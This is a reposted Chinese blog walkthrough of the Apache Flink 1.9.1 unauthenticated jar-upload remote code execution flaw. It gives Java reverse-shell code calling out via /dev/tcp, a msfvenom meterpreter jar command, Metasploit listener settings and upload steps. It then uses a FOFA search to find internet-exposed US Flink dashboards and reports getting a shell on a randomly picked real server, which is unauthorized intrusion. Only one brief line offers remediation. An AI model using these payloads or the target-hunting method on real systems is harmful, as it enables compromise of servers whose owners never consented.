sunny123456

  博客园 :: 首页 :: 博问 :: 闪存 :: 新随笔 :: 联系 :: 订阅 订阅 :: 管理 ::
  1796 随笔 :: 22 文章 :: 24 评论 :: 226万 阅读
< 2025年3月 >
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5

flink Uploaded Jars 路径 flink提交jar包


flink Uploaded Jars 路径 flink提交jar包_eclipse导出的jar包双击运行不了

漏洞描述:

2019年11月11号,安全工程师Henry Chen披露了一个Apache Flink未授权上传jar包导致远程代码执行的漏洞。由于Apache Flink Dashboard 默认无需认证即可访问,通过上传恶意jar包并触发恶意代码执行,从而获取shell。

影响范围

<= 1.9.1(最新版本)

环境搭建:

(1) 提前安装好java(需要java8以上)

flink Uploaded Jars 路径 flink提交jar包_flink_02

(2) 下载flink-1.9.1

下载地址:https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

(3) 解压下载的压缩包:

tar -zxf flink-1.9.1-bin-scala_2.11.tgz
  • 1.

(4) 进去到解压后的目录中,来到其bin目录下:

flink Uploaded Jars 路径 flink提交jar包_flink_03

(5) 启动flink:

./start-cluster.sh
  • 1.

(6) 浏览器访问验证(默认端口为8081):

 http://172.26.1.108:8081

flink Uploaded Jars 路径 flink提交jar包_eclipse导出的jar包双击运行不了_04

出现上图即搭建成功.

(7) 设置开机自启(这里折腾了好久,一直起不来.直接source /etc/rc.d/rc.local可以启动,但是重启后并不会启动flink,最后在一篇博客中找到了解决方法)

flink Uploaded Jars 路径 flink提交jar包_flink_05

开机自启设置参考:

漏洞复现:

jar包制作步骤:

(1) 参考https://klionsec.github.io/2016/09/27/revese-shell/#menu文中给出的利用java反弹shell

flink Uploaded Jars 路径 flink提交jar包_eclipse导出的jar包双击运行不了_06

记得修改ip和端口:

flink Uploaded Jars 路径 flink提交jar包_jar包_07

代码:

package shell;public class Revs {    /**    * @param args    * @throws Exception     */    public static void main(String[] args) throws Exception {        // TODO Auto-generated method stub        Runtime r = Runtime.getRuntime();        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"};        Process p = r.exec(cmd);        p.waitFor();    }}
  • 1.

(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)

flink Uploaded Jars 路径 flink提交jar包_jar包_08

b.然后选择java-->Runnable JAR file

flink Uploaded Jars 路径 flink提交jar包_flink_09

c.然后选择对应的java项目和导出路径以及导出文件名

flink Uploaded Jars 路径 flink提交jar包_eclipse导出的jar包双击运行不了_10

图片

这样就生成了一个反弹shell的jar包

msf生成jar马:

(1) 利用msfvenom来生成一个jar马:

msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
  • 1.

(2) 打开msf的监听模块,并监听9999端口(要与我们jar马设置的端口一致)

use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit
  • 1.

(3) 上传我们生成的jar马并提交后(这部分操作参考下面的复现),可以看到我们成功接收到shell:

flink Uploaded Jars 路径 flink提交jar包_flink_11

本地复现:

(1) 访问目标:

flink Uploaded Jars 路径 flink提交jar包_eclipse导出的jar包双击运行不了_12

(2) 点击Submit New job,打开上传jar包的页面:

flink Uploaded Jars 路径 flink提交jar包_jar包_13

(3) 点击Add New选择我们制作好的jar包:

flink Uploaded Jars 路径 flink提交jar包_eclipse导出的jar包双击运行不了_14

(4) 我们的机器上监听好端口(我们制作的jar包是直接反弹shell的)

(5) 点击我们刚刚上传的jar包:

flink Uploaded Jars 路径 flink提交jar包_flink_15

(6) 然后点击Submit即可,可以看到我们已经成功接收到了shell:

flink Uploaded Jars 路径 flink提交jar包_eclipse导出的jar包双击运行不了_16

互联网站点:

fofa关键词:

"apache-flink-dashboard" && country="US"
  • 1.

(1) 随便找一个目标:

flink Uploaded Jars 路径 flink提交jar包_上传_17

(2) 点击Submit new Job,可以看到其可以允许我们上传jar包

flink Uploaded Jars 路径 flink提交jar包_上传_18

(3) 利用flink上传jar包的功能将我们的jar包上传:

flink Uploaded Jars 路径 flink提交jar包_eclipse导出的jar包双击运行不了_19

(4) 上传后,我们在我们的vps上监听好端口

(5) 然后回到浏览器,选中我们刚刚上传的jar包,然后点击Submitting提交,可以看到我们的vps已经成功接收到了shell

flink Uploaded Jars 路径 flink提交jar包_jar包_20

漏洞修复:

建议设置防火墙策略,仅允许白名单ip访问 apache flink服务,并在Web代理(如apache httpd)中增加对该服务的digest认证。

时刻关注官网,等待新版本或补丁更新

参考链接:



原文链接:https://blog.51cto.com/u_16213653/10759686
posted on   sunny123456  阅读(93)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· .NET10 - 预览版1新功能体验(一)
历史上的今天:
2019-11-12 基础知识
点击右上角即可分享
微信分享提示